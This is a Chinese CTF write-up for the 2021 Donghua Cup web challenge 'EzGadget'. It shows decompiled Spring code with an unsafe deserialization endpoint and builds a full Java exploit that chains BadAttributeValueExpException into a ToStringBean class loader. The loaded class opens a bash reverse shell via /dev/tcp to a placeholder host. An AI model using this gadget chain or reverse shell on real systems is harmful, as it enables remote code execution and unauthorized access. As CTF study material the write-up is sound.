2021东华杯_WEB_EzGadget

发布于 2021-11-10  197 次阅读


2021东华杯_WEB_EzGadget

题目给出了一个jar包,通过jd-gui反编译得到源码
可以看到里面有个工具包文件

//Tools.class
//这个类实现了base64编码和解码,java序列化和反序列化
public class Tools {
  public static byte[] base64Decode(String base64) {
    Base64.Decoder decoder = Base64.getDecoder();
    return decoder.decode(base64);
  }

  public static String base64Encode(byte[] bytes) {
    Base64.Encoder encoder = Base64.getEncoder();
    return encoder.encodeToString(bytes);
  }

  public static byte[] serialize(Object obj) throws Exception {
    ByteArrayOutputStream btout = new ByteArrayOutputStream();
    ObjectOutputStream objOut = new ObjectOutputStream(btout);
    objOut.writeObject(obj);
    return btout.toByteArray();
  }

  public static Object deserialize(byte[] serialized) throws Exception {
    ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
    ObjectInputStream objIn = new ObjectInputStream(btin);
    return objIn.readObject();
  }
}
//ToStringBean.class
//这个类中继承了ClassLoader类,调用了defineClass,用来加载字节码,并且通过newInstance实例化加载的Class类
package BOOT-INF.classes.com.ezgame.ctf.tools;

import java.io.Serializable;

public class ToStringBean extends ClassLoader implements Serializable {
  private byte[] ClassByte;

  public String toString() {
    com.ezgame.ctf.tools.ToStringBean toStringBean = new com.ezgame.ctf.tools.ToStringBean();
    Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
    Object Obj = null;
    try {
      Obj = clazz.newInstance();
    } catch (InstantiationException e) {
      e.printStackTrace();
    } catch (IllegalAccessException e) {
      e.printStackTrace();
    } 
    return "enjoy it.";
  }
}

因此如果我们能够调用toString方法,并且控制ClassByte的内容,就能实现任意代码执行。

再看一下控制器里面的内容

@Controller
public class IndexController {
  @ResponseBody
  @RequestMapping({"/"})
  public String index(HttpServletRequest request, HttpServletResponse response) {
    return "index";
  }

  @ResponseBody
  @RequestMapping({"/readobject"})
  public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
    byte[] b = Tools.base64Decode(data);
    InputStream inputStream = new ByteArrayInputStream(b);
    ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
    String name = objectInputStream.readUTF();
    int year = objectInputStream.readInt();
    if (name.equals("gadgets") && year == 2021)
      objectInputStream.readObject(); 
    return "welcome bro.";
  }
}

将传过来的data字段的内容通过base64解码,读取对象流,先读取字符串和INT,再读取对象。所以再构造反序列化链时,先写入一个StringINT

现在就是如何通过反序列化去触发ToStringBeantoString方法了。了解过CC链就会知道在CC5链中用到了toString

//cc5中的链
ObjectInputStream.readObject()
    BadAttributeValueExpException.readObject()
        TiedMapEntry.toString()
            ...............

现在就可以去构造Payload

package com.ezgame.ctf.controller;
import com.ezgame.ctf.tools.ToStringBean;
import com.ezgame.ctf.tools.Tools;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class IndexController {
    public static void main(String[] args) throws Exception {
        ToStringBean toStringBean = new ToStringBean();
        //通过反射给ClassByte赋值
        Class c = toStringBean.getClass();
        Field classByteField = c.getDeclaredField("ClassByte");
        classByteField.setAccessible(true);
        //读取恶意的class文件
        byte[] bytes = Files.readAllBytes(Paths.get("F:\\code\\java_file\\EzGadget\\out\\production\\EzGadget\\com\\ezgame\\ctf\\controller\\payload.class"));
        //将字节码传给ClassByte
        classByteField.set(toStringBean,bytes);

        //实例化BadAttributeValueExpException
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123123);
        //通过反射给val传值
        Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException, toStringBean);

        //序列化类到ByteArrayOutputStream中
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeUTF("gadgets");
        objectOutputStream.writeInt(2021);
        objectOutputStream.writeObject(badAttributeValueExpException);
        //ByteArrayOutputStream转化为字节
        byte[] bytes1 = byteArrayOutputStream.toByteArray();
        //base64编码
        String bytes2 = Tools.base64Encode(bytes1);
        //输出payload
        System.out.println(bytes2);
    }
}
//payload.class
package com.ezgame.ctf.controller;

import java.io.IOException;

public class payload {
    public payload() {
    }

    static {
        try {
            //注意这里不要使用字符串,使用字符串数组。
            //使用字符串传会反弹失败,具体原因可参看网上的文章
            Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1"});
        } catch (IOException var1) {
            var1.printStackTrace();
        }

    }
}

注意payloadURL编码一下,因为可能有+,URL解码时会当作空格


沙上有印,光中有影!